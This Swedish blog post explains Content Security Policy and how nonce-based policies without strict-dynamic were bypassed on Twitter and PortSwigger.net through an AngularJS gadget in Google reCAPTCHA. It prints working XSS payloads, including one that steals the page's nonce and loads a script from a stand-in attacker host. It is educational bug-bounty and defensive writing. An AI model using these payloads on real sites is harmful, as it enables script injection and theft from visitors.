Skip to main content
  1. Blogposts/

đŸ’„ bypassa csp: nĂ€r sĂ€kerhetspolicyer inte rĂ€cker till

·441 words·3 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller tvÄ kan vara bra för hjÀrnan
Table of Contents

Content Security Policy (CSP) – det lĂ„ter som en vattentĂ€t sĂ€kerhetslösning, eller hur? Men som med mĂ„nga sĂ€kerhetsmekanismer Ă€r verkligheten mer nyanserad. LĂ„t mig ta dig med pĂ„ en resa genom CSP:s krĂ„ngligheter, dĂ€r vi ska utforska hur Twitter och PortSwigger.net trots sina policyer Ă€ndĂ„ kunde bli utsatta för attacker.

🔒 Grunderna: Hur CSP fungerar (och ibland inte gör det)
#

TĂ€nk dig CSP som en strikt nattklubbsvakt med en lista över tillĂ„tna gĂ€ster. Den bestĂ€mmer vilka skript som fĂ„r köras pĂ„ din webbplats genom att anvĂ€nda policy directives. För XSS-skydd Ă€r script-src den mest intressanta direktiven – den kontrollerar vilka JavaScript-kĂ€llor som Ă€r godkĂ€nda.

Det finns tvÄ huvudsakliga tillvÀgagÄngssÀtt:

  1. Vitlistning av URL:er – “Endast dessa adresser Ă€r tillĂ„tna”
  2. Nonce-baserad – “Endast skript med rĂ€tt hemlig kod fĂ„r köras”

Nonce-metoden brukar vara sÀkrare. Varje sidladdning genererar en unik kod (nonce) som mÄste finnas med i script-taggen:

<script src="sÀkert_skript.js" nonce="ABC123"></script>

Men hÀr kommer problemet: Om ett legitimt skript kan skapa nya script-taggar utan nonce, har vi plötsligt en sÀkerhetslucka.

🐩 Hacka högt: Twitters CSP-bypass
#

Twitter hade implementerat CSP med nonce men utan strict-dynamic. Detta skapar en intressant situation dÀr bÄde nonce och vitlistade URL:er kontrolleras.

Genom att utnyttja Angular JS i Google Recaptcha kunde forskare kringgÄ skyddet:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

Men vĂ€nta – detta gav bara en begrĂ€nsad XSS. Hur fĂ„r vi fullstĂ€ndig kontroll?

🔍 Hitta den gömda nonce-vĂ€rdet
#

Trots att webblÀsaren döljer nonce-vÀrdet i DOM-inspelningen, finns det fortfarande kvar och kan nÄs via JavaScript:

const nonce = document.querySelector("[nonce]").nonce;

Med denna kunskap kan vi uppgradera vÄr attack:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='
  doc=$event.target.ownerDocument;
  a=doc.defaultView.top.document.querySelector("[nonce]");
  b=doc.createElement("script");
  b.src="//example.com/evil.js";
  b.nonce=a.nonce; doc.body.appendChild(b)'>

Nu har vi fullstÀndig XSS genom att injicera egna skript med giltig nonce!

ïżœ Bug Bounty-lektioner: PortSwigger.net
#

PortSwigger.net, skaparna av Burp Suite, visade sig ha exakt samma sÄrbarhet!

Deras CSP innehöll:

  • Whitelist med google.com/recaptcha och gstatic.com/recaptcha
  • Nonce utan strict-dynamic

💡 Varför detta Ă€r viktigt för utvecklare
#

  1. strict-dynamic Ă€r din vĂ€n – AnvĂ€nd denna direktiv tillsammans med nonce för att undvika whitelist-relaterade problem
  2. Tredjepartsbibliotek Ă€r riskfaktorer – Även Google-domĂ€ner kan innehĂ„lla farliga bibliotek
  3. Nonce-vĂ€rden Ă€r inte helt dolda – De kan fortfarande nĂ„s via JavaScript

🚀 Slutord: SĂ€kerhet Ă€r en process
#

CSP Ă€r ett kraftfullt verktyg, men som vi sett krĂ€vs det mer Ă€n bara att implementera det – man mĂ„ste förstĂ„ dess begrĂ€nsningar och fallgropar. För bug bounty-jĂ€gare visar detta hur viktigt det Ă€r att titta pĂ„ helheten snarare Ă€n enskilda komponenter.

Vad tycker du? Bör fler företag acceptera rapporter om renodlade CSP-bypassar i sina bug bounty-program? Dela dina tankar i kommentarerna!

Vill du lÀra dig mer om avancerade webbapplikationssÀkerhetstekniker? Följ mig för fler djupdykningar i sÀkerhetsvÀrlden.